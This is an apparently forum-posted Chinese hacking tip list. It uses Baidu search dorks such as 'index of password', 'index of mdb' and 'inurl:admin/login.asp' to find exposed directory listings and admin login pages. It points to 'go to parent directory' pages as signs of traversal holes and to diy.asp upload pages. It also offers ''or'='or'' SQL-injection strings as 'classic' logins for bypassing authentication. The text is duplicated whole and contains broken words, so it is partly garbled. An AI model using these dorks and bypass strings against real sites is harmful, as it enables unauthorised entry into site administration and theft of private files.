http://www.baidu.com，在关键词输入框中输入index of mp3，选择回车搜索，得到了一些网页，不要以为这
一些普通的页面，其实它们是一些mp3网站的资源列表，点击打开它来看看，怎么样？是不是所有资源一收眼底了？
以下是百度搜索排名
index of mpeg4
3. index of mp3
4. index of rmvb
5. index of rm
7. index of movie
8. index of swf
9. index of jpg
10. index of admin
12. index of pdf
13.
index of doc
14. index of wmv
15. index of mdb
16. index of mpg
17. index of mtv
18. index of software
19.
index of mov
20. index of asf
23. index of lib
24. index of vod
25. index of rar
27. index of exe
28. inde
of iso
29. index of video
30. index of book
31. index of soft
32. index of chm
33. index of password
34.
ndex of game
35. index of music
36. index of dvd
37. index of mid
38. index of ebook
40. index of download
上面举了那么多例子大家自己想去吧
==============================================================
最重要的记住页面一些关键的字 具有一定的特性的比如
[转到父目录]
这几个字虽然很普通但是不要忘了一般有遍历目录漏洞的站点都有个这个
bbs/data/+转到父目录
data/+转到父目录
/+转到父目录
转到父目录rmvb
inurl:/diy.asp
=============
===============================================
/uploadsoft/diy.asp inurl /diy.asp bbs/diy.asp 旁注-网站x
x
经典的用户名密码
'or'='or'
'or'1'='1
inurl:admin/login.asp(php)
inurl:admin/admin.asp(php)
inurl:manage/login.asp(php)
inurl:manage/manage.
sp(php)
inurl:guanli/guanli.asp(php)
inurl:guanli/admin.asp(php)
inurl:administrator/admin.asp(php)
inurl:administ
ator/administrator.asp(php)
一些普通的页面，其实它们是一些mp3网站的资源列表，点击打开它来看看，怎么样？是不是所有资源一收眼底了？
以下是百度搜索排名
index of mpeg4
3. index of mp3
4. index of rmvb
5. index of rm
7. index of movie
8. index of swf
9. index of jpg
10. index of admin
12. index of pdf
13.
index of doc
14. index of wmv
15. index of mdb
16. index of mpg
17. index of mtv
18. index of software
19.
index of mov
20. index of asf
23. index of lib
24. index of vod
25. index of rar
27. index of exe
28. inde
of iso
29. index of video
30. index of book
31. index of soft
32. index of chm
33. index of password
34.
ndex of game
35. index of music
36. index of dvd
37. index of mid
38. index of ebook
40. index of download
上面举了那么多例子大家自己想去吧
==============================================================
最重要的记住页面一些关键的字 具有一定的特性的比如
[转到父目录]
这几个字虽然很普通但是不要忘了一般有遍历目录漏洞的站点都有个这个
bbs/data/+转到父目录
data/+转到父目录
/+转到父目录
转到父目录rmvb
inurl:/diy.asp
=============
===============================================
/uploadsoft/diy.asp inurl /diy.asp bbs/diy.asp 旁注-网站x
x
经典的用户名密码
'or'='or'
'or'1'='1
inurl:admin/login.asp(php)
inurl:admin/admin.asp(php)
inurl:manage/login.asp(php)
inurl:manage/manage.
sp(php)
inurl:guanli/guanli.asp(php)
inurl:guanli/admin.asp(php)
inurl:administrator/admin.asp(php)
inurl:administ
ator/administrator.asp(php)